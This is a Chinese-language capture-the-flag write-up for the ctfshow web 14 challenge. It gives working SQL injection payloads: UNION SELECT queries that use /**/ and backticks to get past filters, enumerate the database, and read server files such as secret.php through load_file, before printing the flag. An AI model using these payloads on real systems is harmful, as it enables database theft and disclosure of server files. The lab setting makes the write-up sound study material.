ctfshow web 14 sql注入

ctfshow web 14 sql注入

开始的页面是一段代码:
ctfshow web 14 sql注入
这是get传参,/?c=1 sleep一秒后输出$url
ctfshow web 14 sql注入
/?c=2也会输出@[email protected],有5555 4444 333但是不可能等这么久,直接输 /?c=3,出现
@[email protected][email protected]@
ctfshow web 14 sql注入
那打开这个文件,这是一个查询的页面
ctfshow web 14 sql注入
输入1回显是admin,url中可能存在sql注入
ctfshow web 14 sql注入
按F12查看源代码过滤了/information_schema.tables|information_schema.columns|linestring| |polygon/is
ctfshow web 14 sql注入
到这里大概率就是sql注入
爆库
ctfshow web 14 sql注入
这里差不了,我们把空格替换为/**/,数据库为web
ctfshow web 14 sql注入
爆表,这里information_schema.tables|information_schema有过滤,用tab键上的点绕过,?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
ctfshow web 14 sql注入
爆字段?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name="content"
ctfshow web 14 sql注入
爆值?query=-1/**/union/**/select/**/concat_ws(id,username,password)/**/from/**/content/**/where/**/id=1,很伤心,搞这么久还是没有flag
ctfshow web 14 sql注入之前查询时1时弹框admin,查询2时是gtd1y,现在我们把id改为2
ctfshow web 14 sql注入
id=3
ctfshow web 14 sql注入
这里说secret,我就想到一开始页面的代码,有一个include(secret.php)
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")没反应,我们按下F12查看
ctfshow web 14 sql注入
现在查看/real_flag_is_here
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")
ctfshow web 14 sql注入
flag{771ad34d-bc93-4f7f-8e53-acea29b2228f}

总结:
过滤了空格用/**/代替,把tables和columns用tab键上的点括起来
load_file函数读取文件内容